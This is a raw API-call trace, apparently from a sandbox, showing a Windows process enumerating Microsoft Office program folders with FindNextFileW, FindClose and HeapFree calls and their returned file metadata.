	[0079.305] FindNextFileW (in: hFindFile=0x811988, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0079.305] FindClose (in: hFindFile=0x811988 | out: hFindFile=0x811988) returned 1
	[0079.305] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0079.305] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0079.309] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0079.309] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0079.312] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0079.312] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1
	[0079.312] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0079.312] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0
	[0079.312] FindClose (in: hFindFile=0x811e88 | out: hFindFile=0x811e88) returned 1
	[0079.312] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0079.312] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0080.628] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.628] FindNextFileW (in: hFindFile=0x811a08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0
	[0080.628] FindClose (in: hFindFile=0x811a08 | out: hFindFile=0x811a08) returned 1
	[0080.628] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0080.635] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0080.635] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0080.635] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.635] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0080.648] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.650] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0080.670] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.670] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0080.671] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.671] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0080.671] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0080.672] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fd3010 | out: hHeap=0x720000) returned 1
	[0080.673] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0080.675] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.675] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0080.678] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.678] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0080.679] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc3008 | out: hHeap=0x720000) returned 1
	[0080.679] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0
	[0080.679] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0080.679] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0080.679] FindNextFileW (in: hFindFile=0x811ec8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0
	[0080.679] FindClose (in: hFindFile=0x811ec8 | out: hFindFile=0x811ec8) returned 1
	[0080.679] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.680] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1
	[0080.683] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.683] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0
	[0080.683] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0080.683] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0080.683] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0080.685] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.685] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1
	[0080.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0080.686] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0
	[0080.686] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0080.686] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0080.686] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1
	[0081.008] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0081.009] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1
	[0081.081] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0081.081] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1
	[0081.135] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.135] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0081.136] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.136] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0081.137] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.137] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0081.138] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.138] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0081.139] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.139] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0081.140] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.140] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1
	[0081.141] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.141] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0081.142] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.142] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0081.143] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.143] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0081.144] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.144] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0081.145] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.145] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1
	[0081.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.149] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0081.149] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0081.149] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0081.150] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
